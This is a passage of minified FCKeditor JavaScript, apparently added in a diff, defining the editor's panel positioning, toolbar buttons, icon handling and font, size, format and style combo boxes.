this.ParentPanel.Lock();this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';var D=this.MainNode.offsetWidth;if (!B)	this._IFrame.width=1;if (!C)	this._IFrame.height=1;D=this.MainNode.offsetWidth;var F=FCKTools.GetElementPosition((A.nodeType==9?A.body:A),this._Window);if (this.IsRTL&&!this.IsContextMenu) x=(x*-1);x+=F.X;y+=F.Y;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=x+A.offsetWidth-D;}else{var G=FCKTools.GetViewPaneSize(this._Window);var H=FCKTools.GetScrollPosition(this._Window);var I=G.Height+H.Y;var J=G.Width+H.X;if ((x+D)>J) x-=x+D-J;if ((y+this.MainNode.offsetHeight)>I) y-=y+this.MainNode.offsetHeight-I;};if (x<0) x=0;this._IFrame.style.left=x+'px';this._IFrame.style.top=y+'px';var K=D;var L=this.MainNode.offsetHeight;this._IFrame.width=K;this._IFrame.height=L;this._IFrame.contentWindow.focus();};this._IsOpened=true;FCKTools.RunFunction(this.OnShow,this);};FCKPanel.prototype.Hide=function(A){if (this._Popup) this._Popup.hide();else{if (!this._IsOpened) return;if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Unlock();this._IFrame.width=this._IFrame.height=0;this._IsOpened=false;if (this.ParentPanel) this.ParentPanel.Unlock();if (!A) FCKTools.RunFunction(this.OnHide,this);}};FCKPanel.prototype.CheckIsOpened=function(){if (this._Popup) return this._Popup.isOpen;else return this._IsOpened;};FCKPanel.prototype.CreateChildPanel=function(){var A=this._Popup?FCKTools.GetParentWindow(this.Document):this._Window;var B=new FCKPanel(A,true);B.ParentPanel=this;return B;};FCKPanel.prototype.Lock=function(){this._LockCounter++;};FCKPanel.prototype.Unlock=function(){if (--this._LockCounter==0&&!this.HasFocus) this.Hide();};/* Events */ function FCKPanel_Window_OnFocus(e,panel){panel.HasFocus=true;};function FCKPanel_Window_OnBlur(e,panel){panel.HasFocus=false;if (panel._LockCounter==0) FCKTools.RunFunction(panel.Hide,panel);};function CheckPopupOnHide(forceHide){if (forceHide||!this._Popup.isOpen){window.clearInterval(this._Timer);this._Timer=null;FCKTools.RunFunction(this.OnHide,this);}};function FCKPanel_Cleanup(){this._Popup=null;this._Window=null;this.Document=null;this.MainNode=null;}
+var FCKIcon=function(A){var B=A?typeof(A):'undefined';switch (B){case 'number':this.Path=FCKConfig.SkinPath+'fck_strip.gif';this.Size=16;this.Position=A;break;case 'undefined':this.Path=FCK_SPACER_PATH;break;case 'string':this.Path=A;break;default:this.Path=A[0];this.Size=A[1];this.Position=A[2];}};FCKIcon.prototype.CreateIconElement=function(A){var B;if (this.Position){var C='-'+((this.Position-1)*this.Size)+'px';if (FCKBrowserInfo.IsIE){B=A.createElement('DIV');var D=B.appendChild(A.createElement('IMG'));D.src=this.Path;D.style.top=C;}else{B=A.createElement('IMG');B.src=FCK_SPACER_PATH;B.style.backgroundPosition='0px '+C;B.style.backgroundImage='url('+this.Path+')';}}else{B=A.createElement('DIV');var D=B.appendChild(A.createElement('IMG'));D.src=this.Path?this.Path:FCK_SPACER_PATH;};B.className='TB_Button_Image';return B;}
+var FCKToolbarButtonUI=function(A,B,C,D,E,F){this.Name=A;this.Label=B||A;this.Tooltip=C||this.Label;this.Style=E||FCK_TOOLBARITEM_ONLYICON;this.State=F||FCK_TRISTATE_OFF;this.Icon=new FCKIcon(D);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarButtonUI_Cleanup);};FCKToolbarButtonUI.prototype._CreatePaddingElement=function(A){var B=A.createElement('IMG');B.className='TB_Button_Padding';B.src=FCK_SPACER_PATH;return B;};FCKToolbarButtonUI.prototype.Create=function(A){var B=this.MainElement;if (B){FCKToolbarButtonUI_Cleanup.call(this);if (B.parentNode) B.parentNode.removeChild(B);B=this.MainElement=null;};var C=FCKTools.GetElementDocument(A);B=this.MainElement=C.createElement('DIV');B._FCKButton=this;B.title=this.Tooltip;if (FCKBrowserInfo.IsGecko) B.onmousedown=FCKTools.CancelEvent;this.ChangeState(this.State,true);if (this.Style==FCK_TOOLBARITEM_ONLYICON&&!this.ShowArrow){B.appendChild(this.Icon.CreateIconElement(C));}else{var D=B.appendChild(C.createElement('TABLE'));D.cellPadding=0;D.cellSpacing=0;var E=D.insertRow(-1);var F=E.insertCell(-1);if (this.Style==FCK_TOOLBARITEM_ONLYICON||this.Style==FCK_TOOLBARITEM_ICONTEXT) F.appendChild(this.Icon.CreateIconElement(C));else F.appendChild(this._CreatePaddingElement(C));if (this.Style==FCK_TOOLBARITEM_ONLYTEXT||this.Style==FCK_TOOLBARITEM_ICONTEXT){F=E.insertCell(-1);F.className='TB_Button_Text';F.noWrap=true;F.appendChild(C.createTextNode(this.Label));};if (this.ShowArrow){if (this.Style!=FCK_TOOLBARITEM_ONLYICON){E.insertCell(-1).appendChild(this._CreatePaddingElement(C));};F=E.insertCell(-1);var G=F.appendChild(C.createElement('IMG'));G.src=FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif';G.width=5;G.height=3;};F=E.insertCell(-1);F.appendChild(this._CreatePaddingElement(C));};A.appendChild(B);};FCKToolbarButtonUI.prototype.ChangeState=function(A,B){if (!B&&this.State==A) return;var e=this.MainElement;switch (parseInt(A)){case FCK_TRISTATE_OFF:e.className='TB_Button_Off';e.onmouseover=FCKToolbarButton_OnMouseOverOff;e.onmouseout=FCKToolbarButton_OnMouseOutOff;e.onclick=FCKToolbarButton_OnClick;break;case FCK_TRISTATE_ON:e.className='TB_Button_On';e.onmouseover=FCKToolbarButton_OnMouseOverOn;e.onmouseout=FCKToolbarButton_OnMouseOutOn;e.onclick=FCKToolbarButton_OnClick;break;case FCK_TRISTATE_DISABLED:e.className='TB_Button_Disabled';e.onmouseover=null;e.onmouseout=null;e.onclick=null;bEnableEvents=false;break;};this.State=A;};function FCKToolbarButtonUI_Cleanup(){if (this.MainElement){this.MainElement._FCKButton=null;this.MainElement=null;}};function FCKToolbarButton_OnMouseOverOn(){this.className='TB_Button_On_Over';};function FCKToolbarButton_OnMouseOutOn(){this.className='TB_Button_On';};function FCKToolbarButton_OnMouseOverOff(){this.className='TB_Button_Off_Over';};function FCKToolbarButton_OnMouseOutOff(){this.className='TB_Button_Off';};function FCKToolbarButton_OnClick(e){if (this._FCKButton.OnClick) this._FCKButton.OnClick(this._FCKButton);};
+var FCKToolbarButton=function(A,B,C,D,E,F,G){this.CommandName=A;this.Label=B;this.Tooltip=C;this.Style=D;this.SourceView=E?true:false;this.ContextSensitive=F?true:false;if (G==null) this.IconPath=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(G)=='number') this.IconPath=[FCKConfig.SkinPath+'fck_strip.gif',16,G];};FCKToolbarButton.prototype.Create=function(A){this._UIButton=new FCKToolbarButtonUI(this.CommandName,this.Label,this.Tooltip,this.IconPath,this.Style);this._UIButton.OnClick=this.Click;this._UIButton._ToolbarButton=this;this._UIButton.Create(A);};FCKToolbarButton.prototype.RefreshState=function(){var A=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (A==this._UIButton.State) return;this._UIButton.ChangeState(A);};FCKToolbarButton.prototype.Click=function(){var A=this._ToolbarButton||this;FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(A.CommandName).Execute();};FCKToolbarButton.prototype.Enable=function(){this.RefreshState();};FCKToolbarButton.prototype.Disable=function(){this._UIButton.ChangeState(FCK_TRISTATE_DISABLED);}
+var FCKSpecialCombo=function(A,B,C,D,E){this.FieldWidth=B||100;this.PanelWidth=C||150;this.PanelMaxHeight=D||150;this.Label='&nbsp;';this.Caption=A;this.Tooltip=A;this.Style=FCK_TOOLBARITEM_ICONTEXT;this.Enabled=true;this.Items=new Object();this._Panel=new FCKPanel(E||window,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._PanelBox=this._Panel.MainNode.appendChild(this._Panel.Document.createElement('DIV'));this._PanelBox.className='SC_Panel';this._PanelBox.style.width=this.PanelWidth+'px';this._PanelBox.innerHTML='<table cellpadding="0" cellspacing="0" width="100%" style="TABLE-LAYOUT: fixed"><tr><td nowrap></td></tr></table>';this._ItemsHolderEl=this._PanelBox.getElementsByTagName('TD')[0];if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKSpecialCombo_Cleanup);};function FCKSpecialCombo_ItemOnMouseOver(){this.className+=' SC_ItemOver';};function FCKSpecialCombo_ItemOnMouseOut(){this.className=this.originalClass;};function FCKSpecialCombo_ItemOnClick(){this.className=this.originalClass;this.FCKSpecialCombo._Panel.Hide();this.FCKSpecialCombo.SetLabel(this.FCKItemLabel);if (typeof(this.FCKSpecialCombo.OnSelect)=='function') this.FCKSpecialCombo.OnSelect(this.FCKItemID,this);};FCKSpecialCombo.prototype.AddItem=function(A,B,C,D){var E=this._ItemsHolderEl.appendChild(this._Panel.Document.createElement('DIV'));E.className=E.originalClass='SC_Item';E.innerHTML=B;E.FCKItemID=A;E.FCKItemLabel=C||A;E.FCKSpecialCombo=this;E.Selected=false;if (FCKBrowserInfo.IsIE) E.style.width='100%';if (D) E.style.backgroundColor=D;E.onmouseover=FCKSpecialCombo_ItemOnMouseOver;E.onmouseout=FCKSpecialCombo_ItemOnMouseOut;E.onclick=FCKSpecialCombo_ItemOnClick;this.Items[A.toString().toLowerCase()]=E;return E;};FCKSpecialCombo.prototype.SelectItem=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];if (B){B.className=B.originalClass='SC_ItemSelected';B.Selected=true;}};FCKSpecialCombo.prototype.SelectItemByLabel=function(A,B){for (var C in this.Items){var D=this.Items[C];if (D.FCKItemLabel==A){D.className=D.originalClass='SC_ItemSelected';D.Selected=true;if (B) this.SetLabel(A);}}};FCKSpecialCombo.prototype.DeselectAll=function(A){for (var i in this.Items){this.Items[i].className=this.Items[i].originalClass='SC_Item';this.Items[i].Selected=false;};if (A) this.SetLabel('');};FCKSpecialCombo.prototype.SetLabelById=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];this.SetLabel(B?B.FCKItemLabel:'');};FCKSpecialCombo.prototype.SetLabel=function(A){this.Label=A.length==0?'&nbsp;':A;if (this._LabelEl) this._LabelEl.innerHTML=this.Label;};FCKSpecialCombo.prototype.SetEnabled=function(A){this.Enabled=A;this._OuterTable.className=A?'':'SC_FieldDisabled';};FCKSpecialCombo.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var C=this._OuterTable=A.appendChild(B.createElement('TABLE'));C.cellPadding=0;C.cellSpacing=0;C.insertRow(-1);var D;var E;switch (this.Style){case FCK_TOOLBARITEM_ONLYICON:D='TB_ButtonType_Icon';E=false;break;case FCK_TOOLBARITEM_ONLYTEXT:D='TB_ButtonType_Text';E=false;break;case FCK_TOOLBARITEM_ICONTEXT:E=true;break;};if (this.Caption&&this.Caption.length>0&&E){var F=C.rows[0].insertCell(-1);F.innerHTML=this.Caption;F.className='SC_FieldCaption';};var G=FCKTools.AppendElement(C.rows[0].insertCell(-1),'div');if (E){G.className='SC_Field';G.style.width=this.FieldWidth+'px';G.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" style="TABLE-LAYOUT: fixed;"><tbody><tr><td class="SC_FieldLabel"><label>&nbsp;</label></td><td class="SC_FieldButton">&nbsp;</td></tr></tbody></table>';this._LabelEl=G.getElementsByTagName('label')[0];this._LabelEl.innerHTML=this.Label;}else{G.className='TB_Button_Off';G.innerHTML='<table title="'+this.Tooltip+'" class="'+D+'" cellspacing="0" cellpadding="0" border="0">'+'<tr>'+'<td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td>'+'<td class="TB_Text">'+this.Caption+'</td>'+'<td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td>'+'<td class="TB_ButtonArrow"><img src="'+FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif" width="5" height="3"></td>'+'<td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td>'+'</tr>'+'</table>';};G.SpecialCombo=this;G.onmouseover=FCKSpecialCombo_OnMouseOver;G.onmouseout=FCKSpecialCombo_OnMouseOut;G.onclick=FCKSpecialCombo_OnClick;FCKTools.DisableSelection(this._Panel.Document.body);};function FCKSpecialCombo_Cleanup(){this._LabelEl=null;this._OuterTable=null;this._ItemsHolderEl=null;this._PanelBox=null;if (this.Items){for (var key in this.Items) this.Items[key]=null;}};function FCKSpecialCombo_OnMouseOver(){if (this.SpecialCombo.Enabled){switch (this.SpecialCombo.Style){case FCK_TOOLBARITEM_ONLYICON:this.className='TB_Button_On_Over';break;case FCK_TOOLBARITEM_ONLYTEXT:this.className='TB_Button_On_Over';break;case FCK_TOOLBARITEM_ICONTEXT:this.className='SC_Field SC_FieldOver';break;}}};function FCKSpecialCombo_OnMouseOut(){switch (this.SpecialCombo.Style){case FCK_TOOLBARITEM_ONLYICON:this.className='TB_Button_Off';break;case FCK_TOOLBARITEM_ONLYTEXT:this.className='TB_Button_Off';break;case FCK_TOOLBARITEM_ICONTEXT:this.className='SC_Field';break;}};function FCKSpecialCombo_OnClick(e){var oSpecialCombo=this.SpecialCombo;if (oSpecialCombo.Enabled){var oPanel=oSpecialCombo._Panel;var oPanelBox=oSpecialCombo._PanelBox;var oItemsHolder=oSpecialCombo._ItemsHolderEl;var iMaxHeight=oSpecialCombo.PanelMaxHeight;if (oSpecialCombo.OnBeforeClick) oSpecialCombo.OnBeforeClick(oSpecialCombo);if (FCKBrowserInfo.IsIE) oPanel.Preload(0,this.offsetHeight,this);if (oItemsHolder.offsetHeight>iMaxHeight) oPanelBox.style.height=iMaxHeight+'px';else oPanelBox.style.height='';oPanel.Show(0,this.offsetHeight,this);}};
+var FCKToolbarSpecialCombo=function(){this.SourceView=false;this.ContextSensitive=true;};function FCKToolbarSpecialCombo_OnSelect(itemId,item){FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Execute(itemId,item);};FCKToolbarSpecialCombo.prototype.Create=function(A){this._Combo=new FCKSpecialCombo(this.GetLabel(),this.FieldWidth,this.PanelWidth,this.PanelMaxHeight,FCKBrowserInfo.IsIE?window:FCKTools.GetElementWindow(A).parent);this._Combo.Tooltip=this.Tooltip;this._Combo.Style=this.Style;this.CreateItems(this._Combo);this._Combo.Create(A);this._Combo.CommandName=this.CommandName;this._Combo.OnSelect=FCKToolbarSpecialCombo_OnSelect;};function FCKToolbarSpecialCombo_RefreshActiveItems(combo,value){combo.DeselectAll();combo.SelectItem(value);combo.SetLabelById(value);};FCKToolbarSpecialCombo.prototype.RefreshState=function(){var A;var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (B!=FCK_TRISTATE_DISABLED){A=FCK_TRISTATE_ON;if (this.RefreshActiveItems) this.RefreshActiveItems(this._Combo,B);else{if (this._LastValue!=B){this._LastValue=B;FCKToolbarSpecialCombo_RefreshActiveItems(this._Combo,B);}}}else A=FCK_TRISTATE_DISABLED;if (A==this.State) return;if (A==FCK_TRISTATE_DISABLED){this._Combo.DeselectAll();this._Combo.SetLabel('');};this.State=A;this._Combo.SetEnabled(A!=FCK_TRISTATE_DISABLED);};FCKToolbarSpecialCombo.prototype.Enable=function(){this.RefreshState();};FCKToolbarSpecialCombo.prototype.Disable=function(){this.State=FCK_TRISTATE_DISABLED;this._Combo.DeselectAll();this._Combo.SetLabel('');this._Combo.SetEnabled(false);}
+var FCKToolbarFontsCombo=function(A,B){this.CommandName='FontName';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:FCK_TOOLBARITEM_ICONTEXT;};FCKToolbarFontsCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontsCombo.prototype.GetLabel=function(){return FCKLang.Font;};FCKToolbarFontsCombo.prototype.CreateItems=function(A){var B=FCKConfig.FontNames.split(';');for (var i=0;i<B.length;i++) this._Combo.AddItem(B[i],'<font face="'+B[i]+'" style="font-size: 12px">'+B[i]+'</font>');}
+var FCKToolbarFontSizeCombo=function(A,B){this.CommandName='FontSize';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:FCK_TOOLBARITEM_ICONTEXT;};FCKToolbarFontSizeCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontSizeCombo.prototype.GetLabel=function(){return FCKLang.FontSize;};FCKToolbarFontSizeCombo.prototype.CreateItems=function(A){A.FieldWidth=70;var B=FCKConfig.FontSizes.split(';');for (var i=0;i<B.length;i++){var C=B[i].split('/');this._Combo.AddItem(C[0],'<font size="'+C[0]+'">'+C[1]+'</font>',C[1]);}}
+var FCKToolbarFontFormatCombo=function(A,B){this.CommandName='FontFormat';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:FCK_TOOLBARITEM_ICONTEXT;this.NormalLabel='Normal';this.PanelWidth=190;};FCKToolbarFontFormatCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontFormatCombo.prototype.GetLabel=function(){return FCKLang.FontFormat;};FCKToolbarFontFormatCombo.prototype.CreateItems=function(A){FCKTools.AppendStyleSheet(A._Panel.Document,FCKConfig.ToolbarComboPreviewCSS);var B=FCKLang['FontFormats'].split(';');var C={p:B[0],pre:B[1],address:B[2],h1:B[3],h2:B[4],h3:B[5],h4:B[6],h5:B[7],h6:B[8],div:B[9]};var D=FCKConfig.FontFormats.split(';');for (var i=0;i<D.length;i++){var E=D[i];var F=C[E];if (E=='p') this.NormalLabel=F;this._Combo.AddItem(E,'<div class="BaseFont"><'+E+'>'+F+'</'+E+'></div>',F);}};if (FCKBrowserInfo.IsIE){FCKToolbarFontFormatCombo.prototype.RefreshActiveItems=function(A,B){if (B==this.NormalLabel){if (A.Label!='&nbsp;') A.DeselectAll(true);}else{if (this._LastValue==B) return;A.SelectItemByLabel(B,true);};this._LastValue=B;}}
+var FCKToolbarStyleCombo=function(A,B){this.CommandName='Style';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:FCK_TOOLBARITEM_ICONTEXT;};FCKToolbarStyleCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarStyleCombo.prototype.GetLabel=function(){return FCKLang.Style;};FCKToolbarStyleCombo.prototype.CreateItems=function(A){var B=A._Panel.Document;FCKTools.AppendStyleSheet(B,FCKConfig.ToolbarComboPreviewCSS);B.body.className+=' ForceBaseFont';if (!FCKBrowserInfo.IsGecko) A.OnBeforeClick=this.RefreshVisibleItems;var C=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Styles;for (var s in C){var D=C[s];var E;if (D.IsObjectElement) E=A.AddItem(s,s);else E=A.AddItem(s,D.GetOpenerTag()+s+D.GetCloserTag());E.Style=D;}};FCKToolbarStyleCombo.prototype.RefreshActiveItems=function(A){A.DeselectAll();var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetActiveStyles();if (B.length>0){for (var i=0;i<B.length;i++) A.SelectItem(B[i].Name);A.SetLabelById(B[0].Name);}else A.SetLabel('');};FCKToolbarStyleCombo.prototype.RefreshVisibleItems=function(A){if (FCKSelection.GetType()=='Control') var B=FCKSelection.GetSelectedElement().tagName;for (var i in A.Items){var C=A.Items[i];if ((B&&C.Style.Element==B)||(!B&&!C.Style.IsObjectElement)) C.style.display='';else C.style.display='none';}}
+var FCKToolbarPanelButton=function(A,B,C,D,E){this.CommandName=A;var F;if (E==null) F=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(E)=='number') F=[FCKConfig.SkinPath+'fck_strip.gif',16,E];var G=this._UIButton=new FCKToolbarButtonUI(A,B,C,F,D);G._FCKToolbarPanelButton=this;G.ShowArrow=true;G.OnClick=FCKToolbarPanelButton_OnButtonClick;};FCKToolbarPanelButton.prototype.TypeName='FCKToolbarPanelButton';FCKToolbarPanelButton.prototype.Create=function(A){A.className+='Menu';this._UIButton.Create(A);var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName)._Panel;B._FCKToolbarPanelButton=this;var C=B.Document.body.appendChild(B.Document.createElement('div'));C.style.position='absolute';C.style.top='0px';var D=this.LineImg=C.appendChild(B.Document.createElement('IMG'));D.className='TB_ConnectionLine';D.src=FCK_SPACER_PATH;B.OnHide=FCKToolbarPanelButton_OnPanelHide;};function FCKToolbarPanelButton_OnButtonClick(toolbarButton){var oButton=this._FCKToolbarPanelButton;var e=oButton._UIButton.MainElement;oButton._UIButton.ChangeState(FCK_TRISTATE_ON);oButton.LineImg.style.width=(e.offsetWidth-2)+'px';FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(oButton.CommandName).Execute(0,e.offsetHeight-1,e);};function FCKToolbarPanelButton_OnPanelHide(){var oMenuButton=this._FCKToolbarPanelButton;oMenuButton._UIButton.ChangeState(FCK_TRISTATE_OFF);};FCKToolbarPanelButton.prototype.RefreshState=FCKToolbarButton.prototype.RefreshState;FCKToolbarPanelButton.prototype.Enable=FCKToolbarButton.prototype.Enable;FCKToolbarPanelButton.prototype.Disable=FCKToolbarButton.prototype.Disable;
+var FCKToolbarItems=new Object();FCKToolbarItems.LoadedItems=new Object();FCKToolbarItems.RegisterItem=function(A,B){this.LoadedItems[A]=B;};FCKToolbarItems.GetItem=function(A){var B=FCKToolbarItems.LoadedItems[A];if (B) return B;switch (A){case 'Source':B=new FCKToolbarButton('Source',FCKLang.Source,null,FCK_TOOLBARITEM_ICONTEXT,true,true,1);break;case 'DocProps':B=new FCKToolbarButton('DocProps',FCKLang.DocProps,null,null,null,null,2);break;case 'Save':B=new FCKToolbarButton('Save',FCKLang.Save,null,null,true,null,3);break;case 'NewPage':B=new FCKToolbarButton('NewPage',FCKLang.NewPage,null,null,true,null,4);break;case 'Preview':B=new FCKToolbarButton('Preview',FCKLang.Preview,null,null,true,null,5);break;case 'Templates':B=new FCKToolbarButton('Templates',FCKLang.Templates,null,null,null,null,6);break;case 'About':B=new FCKToolbarButton('About',FCKLang.About,null,null,true,null,47);break;case 'Cut':B=new FCKToolbarButton('Cut',FCKLang.Cut,null,null,false,true,7);break;case 'Copy':B=new FCKToolbarButton('Copy',FCKLang.Copy,null,null,false,true,8);break;case 'Paste':B=new FCKToolbarButton('Paste',FCKLang.Paste,null,null,false,true,9);break;case 'PasteText':B=new FCKToolbarButton('PasteText',FCKLang.PasteText,null,null,false,true,10);break;case 'PasteWord':B=new FCKToolbarButton('PasteWord',FCKLang.PasteWord,null,null,false,true,11);break;case 'Print':B=new FCKToolbarButton('Print',FCKLang.Print,null,null,false,true,12);break;case 'SpellCheck':B=new FCKToolbarButton('SpellCheck',FCKLang.SpellCheck,null,null,null,null,13);break;case 'Undo':B=new FCKToolbarButton('Undo',FCKLang.Undo,null,null,false,true,14);break;case 'Redo':B=new FCKToolbarButton('Redo',FCKLang.Redo,null,null,false,true,15);break;case 'SelectAll':B=new FCKToolbarButton('SelectAll',FCKLang.SelectAll,null,null,null,null,18);break;case 'RemoveFormat':B=new FCKToolbarButton('RemoveFormat',FCKLang.RemoveFormat,null,null,false,true,19);break;case 'FitWindow':B=new FCKToolbarButton('FitWindow',FCKLang.FitWindow,null,null,true,true,66);break;case 'Bold':B=new FCKToolbarButton('Bold',FCKLang.Bold,null,null,false,true,20);break;case 'Italic':B=new FCKToolbarButton('Italic',FCKLang.Italic,null,null,false,true,21);break;case 'Underline':B=new FCKToolbarButton('Underline',FCKLang.Underline,null,null,false,true,22);break;case 'StrikeThrough':B=new FCKToolbarButton('StrikeThrough',FCKLang.StrikeThrough,null,null,false,true,23);break;case 'Subscript':B=new FCKToolbarButton('Subscript',FCKLang.Subscript,null,null,false,true,24);break;case 'Superscript':B=new FCKToolbarButton('Superscript',FCKLang.Superscript,null,null,false,true,25);break;case 'OrderedList':B=new FCKToolbarButton('InsertOrderedList',FCKLang.NumberedListLbl,FCKLang.NumberedList,null,false,true,26);break;case 'UnorderedList':B=new FCKToolbarButton('InsertUnorderedList',FCKLang.BulletedListLbl,FCKLang.BulletedList,null,false,true,27);break;case 'Outdent':B=new FCKToolbarButton('Outdent',FCKLang.DecreaseIndent,null,null,false,true,28);break;case 'Indent':B=new FCKToolbarButton('Indent',FCKLang.IncreaseIndent,null,null,false,true,29);break;case 'Link':B=new FCKToolbarButton('Link',FCKLang.InsertLinkLbl,FCKLang.InsertLink,null,false,true,34);break;case 'Unlink':B=new FCKToolbarButton('Unlink',FCKLang.RemoveLink,null,null,false,true,35);break;case 'Anchor':B=new FCKToolbarButton('Anchor',FCKLang.Anchor,null,null,null,null,36);break;case 'Image':B=new FCKToolbarButton('Image',FCKLang.InsertImageLbl,FCKLang.InsertImage,null,false,true,37);break;case 'Flash':B=new FCKToolbarButton('Flash',FCKLang.InsertFlashLbl,FCKLang.InsertFlash,null,false,true,38);break;case 'Table':B=new FCKToolbarButton('Table',FCKLang.InsertTableLbl,FCKLang.InsertTable,null,false,true,39);break;case 'SpecialChar':B=new FCKToolbarButton('SpecialChar',FCKLang.InsertSpecialCharLbl,FCKLang.InsertSpecialChar,null,false,true,42);break;case 'Smiley':B=new FCKToolbarButton('Smiley',FCKLang.InsertSmileyLbl,FCKLang.InsertSmiley,null,false,true,41);break;case 'PageBreak':B=new FCKToolbarButton('PageBreak',FCKLang.PageBreakLbl,FCKLang.PageBreak,null,false,true,43);break;case 'UniversalKey':B=new FCKToolbarButton('UniversalKey',FCKLang.UniversalKeyboard,null,null,false,true,44);break;case 'Rule':B=new FCKToolbarButton('InsertHorizontalRule',FCKLang.InsertLineLbl,FCKLang.InsertLine,null,false,true,40);break;case 'JustifyLeft':B=new FCKToolbarButton('JustifyLeft',FCKLang.LeftJustify,null,null,false,true,30);break;case 'JustifyCenter':B=new FCKToolbarButton('JustifyCenter',FCKLang.CenterJustify,null,null,false,true,31);break;case 'JustifyRight':B=new FCKToolbarButton('JustifyRight',FCKLang.RightJustify,null,null,false,true,32);break;case 'JustifyFull':B=new FCKToolbarButton('JustifyFull',FCKLang.BlockJustify,null,null,false,true,33);break;case 'Style':B=new FCKToolbarStyleCombo();break;case 'FontName':B=new FCKToolbarFontsCombo();break;case 'FontSize':B=new FCKToolbarFontSizeCombo();break;case 'FontFormat':B=new FCKToolbarFontFormatCombo();break;case 'TextColor':B=new FCKToolbarPanelButton('TextColor',FCKLang.TextColor,null,null,45);break;case 'BGColor':B=new FCKToolbarPanelButton('BGColor',FCKLang.BGColor,null,null,46);break;case 'Find':B=new FCKToolbarButton('Find',FCKLang.Find,null,null,null,null,16);break;case 'Replace':B=new FCKToolbarButton('Replace',FCKLang.Replace,null,null,null,null,17);break;case 'Form':B=new FCKToolbarButton('Form',FCKLang.Form,null,null,null,null,48);break;case 'Checkbox':B=new FCKToolbarButton('Checkbox',FCKLang.Checkbox,null,null,null,null,49);break;case 'Radio':B=new FCKToolbarButton('Radio',FCKLang.RadioButton,null,null,null,null,50);break;case 'TextField':B=new FCKToolbarButton('TextField',FCKLang.TextField,null,null,null,null,51);break;case 'Textarea':B=new FCKToolbarButton('Textarea',FCKLang.Textarea,null,null,null,null,52);break;case 'HiddenField':B=new FCKToolbarButton('HiddenField',FCKLang.HiddenField,null,null,null,null,56);break;case 'Button':B=new FCKToolbarButton('Button',FCKLang.Button,null,null,null,null,54);break;case 'Select':B=new FCKToolbarButton('Select',FCKLang.SelectionField,null,null,null,null,53);break;case 'ImageButton':B=new FCKToolbarButton('ImageButton',FCKLang.ImageButton,null,null,null,null,55);break;default:alert(FCKLang.UnknownToolbarItem.replace(/%1/g,A));return null;};FCKToolbarItems.LoadedItems[A]=B;return B;}
+var FCKToolbar=function(){this.Items=new Array();if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbar_Cleanup);};FCKToolbar.prototype.AddItem=function(A){return this.Items[this.Items.length]=A;};FCKToolbar.prototype.AddButton=function(A,B,C,D,E,F){if (typeof(D)=='number') D=[this.DefaultIconsStrip,this.DefaultIconSize,D];var G=new FCKToolbarButtonUI(A,B,C,D,E,F);G._FCKToolbar=this;G.OnClick=FCKToolbar_OnItemClick;return this.AddItem(G);};function FCKToolbar_OnItemClick(item){var oToolbar=item._FCKToolbar;if (oToolbar.OnItemClick) oToolbar.OnItemClick(oToolbar,item);};FCKToolbar.prototype.AddSeparator=function(){this.AddItem(new FCKToolbarSeparator());};FCKToolbar.prototype.Create=function(A){if (this.MainElement){if (this.MainElement.parentNode) this.MainElement.parentNode.removeChild(this.MainElement);this.MainElement=null;};var B=FCKTools.GetElementDocument(A);var e=this.MainElement=B.createElement('table');e.className='TB_Toolbar';e.style.styleFloat=e.style.cssFloat=(FCKLang.Dir=='ltr'?'left':'right');e.dir=FCKLang.Dir;e.cellPadding=0;e.cellSpacing=0;this.RowElement=e.insertRow(-1);var C;if (!this.HideStart){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_Start';};for (var i=0;i<this.Items.length;i++){this.Items[i].Create(this.RowElement.insertCell(-1));};if (!this.HideEnd){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_End';};A.appendChild(e);};function FCKToolbar_Cleanup(){this.MainElement=null;this.RowElement=null;};var FCKToolbarSeparator=function(){};FCKToolbarSeparator.prototype.Create=function(A){FCKTools.AppendElement(A,'div').className='TB_Separator';}
+var FCKToolbarBreak=function(){};FCKToolbarBreak.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A).createElement('div');B.className='TB_Break';B.style.clear=FCKLang.Dir=='rtl'?'left':'right';A.appendChild(B);}
